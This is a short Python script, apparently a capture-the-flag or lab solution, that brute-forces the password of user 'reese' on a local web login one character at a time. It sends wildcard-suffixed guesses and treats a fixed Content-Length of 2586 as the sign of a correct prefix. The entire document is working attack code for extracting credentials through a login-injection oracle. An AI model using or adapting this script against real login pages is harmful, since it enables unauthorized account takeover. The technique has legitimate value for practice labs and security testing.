Password Brute-Force

Password Brute-Force.txt

#!/usr/bin/python3
#Little bruteforce that checks the Content-Length for difference.

import requests

char_list = ["!","{","}","_","a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T","U","V","W","X","Y","Z","@","#","$","%","^","&",",",'(',')',"-",':',';','.']

password = ''

TARGET_URL = 'http://127.0.0.1:8080'

c = 0
n = len(char_list)

while c < n:
  for p in char_list:
#   print("Trying Character", p)
    p = p.strip()
    with requests.Session() as s:
      payload = {'username':'reese','password':password + p +'*'}
      r = s.post(TARGET_URL+'/login', data=payload)
      h = (password + p, r.headers['Content-Length'])
      if "2586" in h:
        password += p
        c = 0
        print(password)
      else:
        c += 1
        if c > n:
          print("The password is:", password)
          exit()